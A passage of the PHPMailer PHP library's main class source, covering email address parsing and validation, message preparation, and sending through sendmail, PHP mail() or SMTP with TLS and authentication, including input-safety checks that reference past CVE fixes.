addAnAddress($kind, $address, $name = '') { if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf( '%s: %s', $this->lang('Invalid recipient kind'), $kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = [$address, $name]; return true; } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name <address>" into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. * Note that quotes in the name part are removed. * * @see http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation * * @param string $addrstr The address list string * @param bool $useimap Whether to use the IMAP extension to parse the list * @param string $charset The charset to use when decoding the address list string. * * @return array */ public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591) { $addresses = []; if ($useimap && function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available $list = imap_rfc822_parse_adrlist($addrstr, ''); // Clear any potential IMAP errors to get rid of notices being thrown at end of script. imap_errors(); foreach ($list as $address) { if ( '.SYNTAX-ERROR.' !== $address->host && static::validateAddress($address->mailbox . '@' . $address->host) ) { //Decode the name part if it's present and encoded if ( property_exists($address, 'personal') && //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $address->personal) ) { $origCharset = mb_internal_encoding(); mb_internal_encoding($charset); //Undo any RFC2047-encoded spaces-as-underscores $address->personal = str_replace('_', '=20', $address->personal); //Decode the name $address->personal = mb_decode_mimeheader($address->personal); mb_internal_encoding($origCharset); } $addresses[] = [ 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host, ]; } } } else { //Use this simpler parser $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if (static::validateAddress($address)) { $addresses[] = [ 'name' => '', 'address' => $address, ]; } } else { list($name, $email) = explode('<', $address); $email = trim(str_replace('>', '', $email)); $name = trim($name); if (static::validateAddress($email)) { //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled //If this name is encoded, decode it if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) { $origCharset = mb_internal_encoding(); mb_internal_encoding($charset); //Undo any RFC2047-encoded spaces-as-underscores $name = str_replace('_', '=20', $name); //Decode the name $name = mb_decode_mimeheader($name); mb_internal_encoding($origCharset); } $addresses[] = [ //Remove any surrounding quotes and spaces from the name 'name' => trim($name, '\'" '), 'address' => $email, ]; } } } } return $addresses; } /** * Set the From and FromName properties. * * @param string $address * @param string $name * @param bool $auto Whether to also set the Sender address, defaults to true * * @throws Exception * * @return bool */ public function setFrom($address, $name = '', $auto = true) { $address = trim((string)$address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim //Don't validate now addresses with IDN. Will be done in send(). $pos = strrpos($address, '@'); if ( (false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address)) ) { $error_message = sprintf( '%s (From): %s', $this->lang('invalid_address'), $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * Validation patterns supported: * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * * ```php * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * ``` * * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * * @param string $address The email address to check * @param string|callable $patternselect Which pattern to use * * @return bool */ public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603 if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `a@b.123` * * unbracketed IPv4 literals: `a@192.168.0.1` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @see http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * `intl` and `mbstring` PHP extensions. * * @return bool `true` if required functions for IDN support are present */ public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain contains characters not allowed in an IDN). * * @see PHPMailer::$CharSet * * @param string $address The email address to convert * * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { //Verify we have required functions, CharSet, and at-sign. $pos = strrpos($address, '@'); if ( !empty($this->CharSet) && false !== $pos && static::idnSupported() ) { $domain = substr($address, ++$pos); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { //Convert the domain from whatever charset it's in to UTF-8 $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); //Ignore IDE complaints about this line - method signature changed in PHP 5.4 $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { //Use the current punycode standard (appeared in PHP 7.2) $punycode = idn_to_ascii( $domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46 ); } elseif (defined('INTL_IDNA_VARIANT_2003')) { //Fall back to this old, deprecated/removed encoding $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { //Fall back to a default we don't know about $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * * @throws Exception * * @return bool false on error - See the ErrorInfo property for details of the error */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * * @throws Exception * * @return bool */ public function preSend() { if ( 'smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0)) ) { //SMTP mandates RFC-compliant line endings //and it's also used with mail() on Windows static::setLE(self::CRLF); } else { //Maintain backward compatibility with legacy Linux command line mailers static::setLE(PHP_EOL); } //Check for buggy PHP versions that add a header with an incorrect line break if ( 'mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0 ) { trigger_error($this->lang('buggy_php'), E_USER_WARNING); } try { $this->error_count = 0; //Reset errors $this->mailHeader = ''; //Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL); } //Validate From, Sender, and ConfirmReadingTo addresses foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { if ($this->{$address_kind} === null) { $this->{$address_kind} = ''; continue; } $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!static::validateAddress($this->{$address_kind})) { $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $address_kind, $this->{$address_kind} ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } //Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } //Trim subject consistently $this->Subject = trim($this->Subject); //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); //createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; //To capture the complete message when using mail(), create //an extra header list which createHeader() doesn't fold in if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader($this->Subject)) ); } //Sign with DKIM if enabled if ( !empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message via the selected mechanism. * * @throws Exception * * @return bool */ public function postSend() { try { //Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) { $this->smtp->reset(); } if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * * @see PHPMailer::$Sendmail * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html //Example problem: https://www.drupal.org/node/1057954 //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { if ($this->Mailer === 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } else { //allow sendmail to choose a default envelope sender. It may //seem preferable to force it to use the From header as with //SMTP, but that introduces new problems (see //<https://github.com/PHPMailer/PHPMailer/issues/2298>), and //it has historically worked this way. $sendmailFmt = '%s -oi -t'; } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet); $this->doCallback( ($result === 0), [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $this->doCallback( ($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * * @param string $string The string to be validated * * @return bool */ protected static function isShellSafe($string) { //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg, //but some hosting providers disable it, creating a security problem that we don't want to have to deal with, //so we don't. if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) { return false; } if ( escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; //All other characters have a special meaning in at least one common shell, including = and +. //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. //Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function isPermittedPath($path) { //Matches scheme definition from https://tools.ietf.org/html/rfc3986#section-3.1 return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } /** * Check whether a file path is safe, accessible, and readable. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = is_file($path); //If not a UNC path (expected to start with \\), check read permission, see #2069 if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } /** * Send mail using the PHP mail() function. * * @see http://www.php.net/manual/en/book.mail.php * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = trim(implode(', ', $toArr)); //If there are no To-addresses (e.g. when sending only to BCC-addresses) //the following should be added to get a correct DKIM-signature. //Compare with $this->preSend() if ($to === '') { $to = 'undisclosed-recipients:;'; } $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html //Example problem: https://www.drupal.org/node/1057954 //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet); $this->doCallback( $result, [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation, * or set one with setSMTPInstance. * * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } /** * Provide an instance to use for SMTP operations. * * @return SMTP */ public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } /** * Provide SMTP XCLIENT attributes * * @param string $name Attribute name * @param ?string $value Attribute value * * @return bool */ public function setSMTPXclientAttribute($name, $value) { if (!in_array($name, SMTP::$xclient_allowed_attributes)) { return false; } if (isset($this->SMTPXClient[$name]) && $value === null) { unset($this->SMTPXClient[$name]); } elseif ($value !== null) { $this->SMTPXClient[$name] = $value; } return true; } /** * Get SMTP XCLIENT attributes * * @return array */ public function getSMTPXclientAttributes() { return $this->SMTPXClient; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * * @see PHPMailer::setSMTPInstance() to use a different class. * * @uses \PHPMailer\PHPMailer\SMTP * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } //Sender already validated in preSend() if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (count($this->SMTPXClient)) { $this->smtp->xclient($this->SMTPXClient); } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; //Attempt to send to all recipients foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } //Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback( $cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id] ); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * * @param array $options An array of options compatible with stream_context_create() * * @throws Exception * * @uses \PHPMailer\PHPMailer\SMTP * * @return bool */ public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (null === $options) { $options = $this->SMTPOptions; } //Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); if ($this->Host === null) { $this->Host = 'localhost'; } $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if ( !preg_match( '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo ) ) { $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry)); //Not a valid host entry continue; } //$hostinfo[1]: optional ssl or tls prefix //$hostinfo[2]: the hostname //$hostinfo[3]: optional port number //The host string prefix can temporarily override the current setting for SMTPSecure //If it's not specified, the default value is used //Check the host name is a valid name or IP address before trying to use it if (!static::isValidHost($hostinfo[2])) { $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at the same time $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; //TLS doesn't use a prefix $secure = static::ENCRYPTION_STARTTLS; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if ( array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536 ) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: //* it's not disabled //* we are not connecting to localhost //* we have openssl extension //* we are not already using SSL //* the server offers STARTTLS if ( $this->SMTPAutoTLS && $this->Host !== 'localhost' && $sslext && $secure !== 'ssl' && $this->smtp->getServerExt('STARTTLS') ) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } //We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ( $this->SMTPAuth && !$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->oauth ) ) { throw new Exception($this->lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions && null !== $lastexception) { throw $lastexception; } if ($this->exceptions) { // no exception was thrown, likely $this->smtp->connect() failed $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } return false; } /** * Close the active SMTP session if one exists. */ public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } /** * Set the language for error messages. * The default language is English. * * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * Optionally, the language code can be enhanced with a 4-character * script annotation and/or a 2-character country annotation. * @param string $lang_path Path to the language file directory, with trailing separator (slash) * Do not set this from user input! * * @return bool Returns true if the requested language was loaded, false otherwise. */ public function setLanguage($langcode = 'en', $lang_path = '') { //Backwards compatibility for renamed language codes $renamed_langcodes = [ 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy', ]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } //Define full set of translatable strings in English $PHPMAILER_LANG = [ 'authenticate' => 'SMTP Error: Could not authenticate.', 'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'extension_missing' => 'Extension missing: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_header' => 'Invalid header name or value', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_code' => 'SMTP code: ', 'smtp_code_ex' => 'Additional SMTP info: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_detail' => 'Detail: ', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', ]; if (empty($lang_path)) { //Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } //Validate $langcode $foundlang = true; $langcode = strtolower($langcode); if ( !preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches) && $langcode !== 'en' ) { $foundlang = false; $langcode = 'en'; } //There is no English translation file if ('en' !== $langcode) { $langcodes = []; if (!empty($matches['script']) && !empty($matches['country'])) { 